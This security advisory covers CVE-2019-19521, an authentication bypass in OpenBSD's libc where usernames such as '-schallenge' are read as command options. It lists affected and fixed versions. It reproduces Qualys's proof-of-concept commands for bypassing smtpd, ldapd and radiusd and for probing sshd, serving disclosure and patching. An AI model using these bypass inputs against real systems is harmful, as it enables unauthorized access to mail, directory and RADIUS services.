ASA-2019-00652 – OpenBSD: libc’s authentication layer performed insufficient username validation

Allele Security Alert



ASA-2019-00652, CVE-2019-19521


libc’s authentication layer performed insufficient username validation


The OpenBSD Project



Affected version(s)

OpenBSD versions 6.6 before errata 011
OpenBSD versions 6.5 before errata 022

Fixed version(s)

OpenBSD versions 6.6 errata 011
OpenBSD versions 6.5 errata 022

OpenBSD versions 6.6 with the following patch applied:



OpenBSD versions 6.5 with the following patch applied:



Proof of concept



libc in OpenBSD allows authentication bypass via the -schallenge username, as demonstrated by smtpd, ldapd, or radiusd. This is related to gen/auth_subr.c and gen/authenticate.c in libc (and login/login.c and xenocara/app/xenodm/greeter/verify.c).

Technical details

Qualys discovered an authentication-bypass vulnerability in OpenBSD’s authentication system: this vulnerability is remotely exploitable in smtpd, ldapd, and radiusd, but its real-world impact should be studied on a case-by-case basis. For example, sshd is not exploitable thanks to its defense-in-depth mechanisms.

From the manual page of login.conf:

OpenBSD uses BSD Authentication, which is made up of a variety of
authentication styles. The authentication styles currently provided are:
passwd Request a password and check it against the password in the
master.passwd file. See login_passwd(8).
skey Send a challenge and request a response, checking it with
S/Key (tm) authentication. See login_skey(8).
yubikey Authenticate using a Yubico YubiKey token. See
For any given style, the program /usr/libexec/auth/login_style is used to
perform the authentication. The synopsis of this program is:

/usr/libexec/auth/login_style [-v name=value] [-s service] username class

This is the first piece of the puzzle: if an attacker specifies a username of the form “-option”, they can influence the behavior of the authentication program in unexpected ways.

From the manual page of login_passwd:

login_passwd [-s service] [-v wheel=yes|no] [-v lastchance=yes|no] user
The service argument specifies which protocol to use with the invoking
program. The allowed protocols are login, challenge, and response. (The
challenge protocol is silently ignored but will report success as passwd-
style authentication is not challenge-response based).

This is the second piece of the puzzle: if an attacker specifies the username “-schallenge” (or “-schallenge:passwd” to force a passwd-style authentication), then the authentication is automatically successful and therefore bypassed.

Case study: smtpd

To demonstrate how smtpd’s authentication can be bypassed, we follow the instructions from the manual page of smtpd.conf:

In this second example, the aim is to permit mail delivery and relaying
only for users that can authenticate (using their normal login
listen on egress tls pki auth
match auth from any for any action "outbound"

and we restart smtpd. Then, with our remote-attacker hat on:

$ printf '\0-schallenge\0whatever' | openssl base64

$ openssl s_client -connect -starttls smtp
AUTH PLAIN AC1zY2hhbGxlbmdlAHdoYXRldmVy
235 2.0.0 Authentication succeeded

Case study: ldapd

From the manual page of ldapd:

ldapd can authenticate users via simple binds or SASL with the PLAIN
When using SASL binds, the authentication ID should be a valid username
for BSD Authentication.

For plain text passwords to be accepted, the connection must be
considered secure, either by using an encrypted connection, or by using
the secure keyword in the configuration file.

Over such a secure connection, a remote attacker can bypass ldapd’s SASL authentication:

$ ldapsearch -H ldap:// -O none -U invaliduser -w whatever
SASL/PLAIN authentication started
ldap_sasl_interactive_bind_s: Invalid credentials (49)

$ ldapsearch -H ldap:// -O none -U -schallenge -w whatever
SASL/PLAIN authentication started
SASL username: -schallenge
# numResponses: 1

Case study: radiusd

To show how radiusd’s authentication can be bypassed, we adapt the configuration example from the manual page of radiusd.conf:

module load "bsdauth" "/usr/libexec/radiusd/radiusd_bsdauth"
authenticate * {
authenticate-by "bsdauth"

and we send the following (successful) authentication request:

$ radiusctl test secret -schallenge password whatever
Reply-Message = "Authentication succeeded"

If we further modify radiusd’s configuration to restrict access to the members of the group “operator”:

module set "bsdauth" "restrict-group" "operator"

and send our authentication request, then radiusd_bsdauth crashes because of a NULL-pointer dereference (because getpwnam(“-schallenge”) returns NULL):

80 int
81 main(int argc, char *argv[])
82 {
192 pw = getpwnam(user);
197 if (gr->gr_gid == pw->pw_gid) {

Case study: sshd

Even if an attacker were able to bypass sshd’s authentication with an invalid user such as “-schallenge”, sshd would eventually reject it:

225 void
226 monitor_child_preauth(struct ssh *ssh, struct monitor *pmonitor)
227 {
229 int authenticated = 0, partial = 0;
249 while (!authenticated) {
288 }
290 if (!authctxt->valid)
291 fatal("%s: authenticated invalid user", __func__);

Nevertheless, it’s possible to use sshd to remotely test whether an OpenBSD system is vulnerable to ASA-2019-00652 or not:

$ ssh -v -F /dev/null -o PreferredAuthentications=keyboard-interactive \
-o KbdInteractiveDevices=bsdauth -l -sresponse:passwd
debug1: Next authentication method: keyboard-interactive

It is vulnerable if the connection hangs, because sshd waits for login_passwd to send a challenge, while login_passwd waits for sshd to send a response (because login_passwd interprets the username “-sresponse” as an option).


Qualys Research Team


OpenBSD 6.6 Errata

OpenBSD 6.5 Errata





libc’s authentication privsep layer performed insufficient username

libc’s authentication privsep layer performed insufficient username

libc’s authentication privsep layer performed insufficient username

xenodm uses the libc authentication layer incorrectly.

oss-security – Authentication vulnerabilities in OpenBSD

Full Disclosure: Authentication vulnerabilities in OpenBSD

Bugtraq: Authentication vulnerabilities in OpenBSD



If there is any error in this alert or you wish a comprehensive analysis, let us know.

Last modified: February 11, 2020

We are not responsible for any data loss, device corruption or any other type of issue due to the use of any information mentioned in our security alerts.